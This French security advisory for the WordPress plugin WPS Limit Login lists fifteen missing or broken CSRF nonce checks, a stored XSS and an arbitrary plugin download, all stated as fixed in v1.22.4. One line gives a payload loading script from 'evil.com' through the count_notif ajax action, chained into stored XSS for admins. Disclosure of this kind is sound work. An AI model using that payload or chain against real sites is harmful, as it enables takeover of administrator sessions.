WPS Limit Login est édité par WP Serveur, hébergeur WordPress français. L’indice de criticité de cette mise à jour est moyen.
CSRF #1
Fichier : /classes/plugin.php
Ligne 355-358
Fonction count_notif()
Problème : Manque un jeton de sécurité, ici je peux donner un lien à un admin ou l’inclure dans une page masquée et il se déclenchera en ajax en méthode POST :
https://example.com/wp-admin/admin-ajax.php?action=count_notif
avec le param “number” qui vaudra par exemple “<script src=//evil.com/js.js></script>
“.
CSRF #2
Fichier : /classes/plugin.php
Fonction dismiss_admin_notice()
Problème : Manque un jeton de sécurité, ici je peux donner un lien à un admin ou l’inclure dans une page masquée et il se déclenchera en ajax en méthode POST :
https://example.com/wp-admin/admin-ajax.php?action=dismiss_admin_notice
avec le param “number” et/ou “option_name” et/ou “dismissible_length”.
CSRF #3
Fichier : /classes/plugin.php
Fonction dismiss_admin_notice()
`
Problème : Manque un jeton de sécurité.
CSRF #4
Fichier : /classes/plugin.php
Fonction add_option_wps_display()
Problème : Manque un jeton de sécurité.
CSRF #5
Fichier : /classes/plugin.php
Fonction delete_option_wps_display()
Problème : Manque un jeton de sécurité.
CSRF #6
Fichier : /classes/plugin.php
Fonction add_allow_repair_wp_config()
Problème : Manque un jeton de sécurité.
CSRF #7
Fichier : /classes/plugin.php
Fonction remove_allow_repair_wp_config()
Problème : Manque un jeton de sécurité.
CSRF #8
Fichier : /classes/plugin.php
Fonction wpsbidouille_rated()
Problème : Manque un jeton de sécurité.
CSRF #9
Fichier : /classes/plugin.php
Fonction download_log_template_redirect()
Problème : Manque un jeton de sécurité.
CSRF #10
Fichier : /classes/plugin.php
Fonction download_report_system_template_redirect()
Problème : Manque un jeton de sécurité.
CSRF #11
Fichier : /classes/plugin.php
Fonction delete_unuse_plugins()
Problème : Manque un jeton de sécurité.
CSRF #12
Fichier : /classes/plugin.php
Fonction delete_unuse_themes()
Problème : Manque un jeton de sécurité.
CSRF #13
Fichier : /classes/plugin.php
Fonction wp_ajax_save_settings_wps()
Problème : Manque un jeton de sécurité.
CSRF #14
Fichier : /classes/plugin.php
Fonction wps_get_posts()
Problème : Manque un jeton de sécurité.
CSRF #15
Fichier : /classes/removefromcache.php
Ligne 432
if ( isset( $_POST['wps_cache_fields'] ) && ! wp_verify_nonce( $_POST['wps_cache_fields'], basename( __FILE__ ) ) ) {
Problème : Le jeton de sécurité n’est pas vérifié si je n’envoie pas $_POST['wps_cache_fields']
La condition IF
n’est pas correcte, c’est :
if ( ! isset( $_POST['wps_cache_fields'] ) || ! wp_verify_nonce( $_POST['wps_cache_fields'], basename( __FILE__ ) ) ) {
Stored XSS
Fichier /classes/plugin.php
Ligne 85-88
[pastacode lang=”php” manual=”%24notifs%20%3D%20get_option(%20’wps_notifs_ajax’%20)%3B%0A%0Aif%20(%20%24notifs%20)%20%7B%0A%C2%A0%20%C2%A0%20echo%20’Vous%20avez%20’%20.%20%24notifs%20.%20’%20notifications.%3Cbr%3E%3Cbr%3E’%3B%0A%0A%7D” message=”” highlight=”” provider=”manual”/]
Problème : Aucun échappement ni cast ni sanitisation de la données en sortie, aucun n’a été faite en entrée non plus. Aussi grace à la faille CSRF précédente, un simple abonné peut alors ajouter du contenu de son choix, contenu qui sera affiché, évalué par les admins.
Arbitrary Upload File
Fichier /classes/suggest-plugins-themes.php
Partout où il est vérifié un nonce comme dans cette fonction en exemple :
[pastacode lang=”php” manual=”public%20static%20function%20download_plugins_premium()%20%7B%0A%0A%24download_url%20%3D%20%24_POST%5B’url’%5D%3B%0A%0Acheck_ajax_referer(%20’download-premiums’%2C%20’nonce’%20)%3B%0A%0AHelpers%3A%3Adownload_package(%20%24download_url%20)%3B%0A%0Awp_die()%3B%0A%0A%7D” message=”” highlight=”” provider=”manual”/]
Le soucis est que l’on peut mettre ce que je veux en URL, ça passera dans l’uploader/installer de download_package()
. Remarque, il faut être connecté en administrateur.
Ces failles ont été corrigées dans la v1.22.4